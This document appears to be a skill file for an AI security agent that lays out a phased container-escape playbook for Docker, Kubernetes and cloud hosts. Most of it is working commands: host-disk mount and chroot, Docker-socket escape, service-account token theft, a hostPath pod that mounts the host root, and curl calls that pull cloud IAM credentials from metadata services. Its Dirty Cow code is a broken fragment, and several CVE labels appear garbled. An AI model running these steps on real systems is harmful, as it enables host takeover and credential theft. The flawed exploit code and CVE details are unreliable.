| name | Container Escape |
| description | Container escape vulnerability discovery — Docker, Kubernetes, container runtime exploitation, namespace isolation bypass, privilege escalation through container boundaries |
| tags | ["container","escape","docker","kubernetes","cgroups","namespaces","privilege-escalation","security","breakout","pod-escape","cluster-security"] |
| author | Spectra Security Research |
| version | 1 |
Container Escape Analysis
Overview
This skill analyzes container environments for escape vulnerabilities and privilege escalation paths from containers to the host system.
⚠️ Authorized Use Only
Permitted Contexts:
- Authorized penetration testing with explicit scope
- CTF competitions
- Security research in isolated environments
- Educational analysis
Prohibited:
- Unauthorized container breakout attempts
- Production environment testing without permission
Analysis Phases
Phase 1: Container Runtime Detection
Identify the container runtime and environment:
ls -la /.dockerenv 2>/dev/null
cat /proc/1/cgroup | grep docker
cat /proc/1/environ | tr '\0' '\n' | grep docker
hostname
cat /etc/hostname
cat /proc/self/cgroup | head -1
Indicators:
- Docker socket mounted:
/var/run/docker.sock
- Kubernetes service account:
/var/run/secrets/kubernetes.io/serviceaccount
- Privileged mode:
--privileged flag used
- Host PID namespace:
/proc shows host processes
- Host network: Network interfaces include host interfaces
Phase 2: Namespace/Control Group Analysis
Analyze namespace isolation and cgroup restrictions:
ls -la /proc/self/ns/
ls -la /proc/1/ns/
capsh --print
cat /proc/self/status | grep Cap
cat /proc/self/cgroup
Breakout Indicators:
- Same PID namespace as host →
/proc/1/ is host init
- Same network namespace → Host network interfaces visible
- Same mount namespace → Host filesystems mounted
- Excessive capabilities (
CAP_SYS_ADMIN, CAP_SYS_PTRACE)
- No cgroup constraints → Resource limits not enforced
Phase 3: Privilege Escalation Paths
Identify privilege escalation vectors:
3.1 Capabilities-Based Escalation
grep CapEff /proc/self/status | cut -f2
CAP_SYS_ADMIN
CAP_SYS_PTRACE
CAP_SYS_MODULE
CAP_NET_RAW
CAP_NET_ADMIN
CAP_DAC_READ_SEARCH
CAP_DAC_OVERRIDE
Exploitation:
CAP_SYS_ADMIN + --privileged = Full host access
CAP_SYS_PTRACE = Inject into host processes via /proc
CAP_SYS_MODULE = Load rootkit kernel module
3.2 Device Mount Escape
mount | grep -v container
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
3.3 Docker Socket Escape
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt
Phase 4: Container Breakout Techniques
4.1 Linux Kernel Vulnerabilities
Dirty Cow (CVE-2016-5195) - Race Condition in Copy-on-Write
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
void *map(void *arg) {
int f = open("/etc/passwd", O_RDWR);
void *m = mmap(NULL, 4096, PROT_WRITE, MAP_SHARED, f, 0);
}
uname -r # Look for kernels before 4.8.0
Detection:
uname -r
cat /proc/version
4.2 Containerd/CRIO Runtime Vulnerabilities
Containerd Release Agent Escape (CVE-2022-23648)
spec:
containers:
- name: escape
image: alpine
command: ["/bin/sh", "-c"]
args: ["cat /run/containerd/crictl.sock || cat /run/crio/crio.sock"]
volumeMounts:
- mountPath: /run/containerd
4.3 runc Vulnerabilities
runc Container Breakout (CVE-2019-5736)
docker version -f '{{.Server.RuncCommit}}'
runc --version
4.4 CVE-2021-21285 - Docker-Copy-Filepath Breakout
COPY * /dest/
docker version
Phase 5: Kubernetes-Specific Escapes
5.1 Node Access via Service Account
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -X GET $APISERVER/api/v1/namespaces/default/pods \
--header "Authorization: Bearer $TOKEN" --insecure
curl -X GET $APISERVER/api/v1/namespaces/default/pods \
--header "Authorization: Bearer $TOKEN" --insecure
Privilege Escalation:
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
serviceAccountName: privileged-sa
containers:
- name: escape
image: alpine
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
5.2 CSI Driver Exploitation
ls /var/lib/kubelet/pods/
mount | grep csi
5.3 Containerd Shim Vulnerabilities
containerd --version
ps aux | grep containerd-shim
ls -la /run/containerd/
Phase 6: Cloud Metadata Exploitation
6.1 AWS IMDSv1 to IMDSv2 Bypass
AWS: http://169.254.169.254/latest/meta-data/
GCP: http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/
curl http://169.254.169.254/latest/meta-data/
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
6.2 GKE Metadata Server
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/
Novelty Indicators (PURSUE)
✓ Recent CVEs (2023-2024):
- CVE-2024-21626: runc file descriptor leak
- CVE-2024-23650: BuildKit race condition
- CVE-2023-38473: BuildKit symlink traversal
✓ Complex configuration:
- Custom runtime configurations
- Non-standard cgroup hierarchies
- Custom network plugins
✓ Integration points:
- CI/CD pipeline containers
- Build containers with host mounts
- Sidecar containers with elevated privileges
✓ Containerd/CRIO quirks:
- Version-specific behaviors
- Platform-specific implementations
- Non-default configurations
Known Patterns (AVOID)
✗ Basic Docker socket mount (well-documented)
✗ --privileged flag escape (standard pattern)
✗ /proc mount escape (common knowledge)
✗ Published CVE exploits (unless novel variation)
Analysis Checklist
Environment Detection
Vulnerability Scanning
Exploitation Testing
Quick Reference
| Escape Vector | Detection Command | Novelty Level |
|---|
| Capability abuse | cat /proc/self/status | grep Cap | Low (known) |
| Device mount | mount | grep /dev | Medium |
| Docker socket | ls -la /var/run/docker.sock | Low (known) |
| runc CVE-2019-5736 | runc --version | Medium |
| Dirty Cow | uname -r | Low (known) |
| K8s service account | ls /var/run/secrets/kubernetes.io/ | Medium |
| Cloud metadata | curl http://169.254.169.254/latest/ | Low-Medium |
| Containerd shim | containerd --version | High |
| BuildKit symlink | docker buildx version | High |
Notes
- Focus on novel escape vectors: Custom runtime vulnerabilities, recent CVEs, integration bugs
- Container vs Host: Always verify if you're targeting container or host
- Cloud-specific: Each cloud provider has unique metadata services
- Verification: Document container configuration, exploit steps, impact
- Responsible disclosure: Container escapes are critical vulnerabilities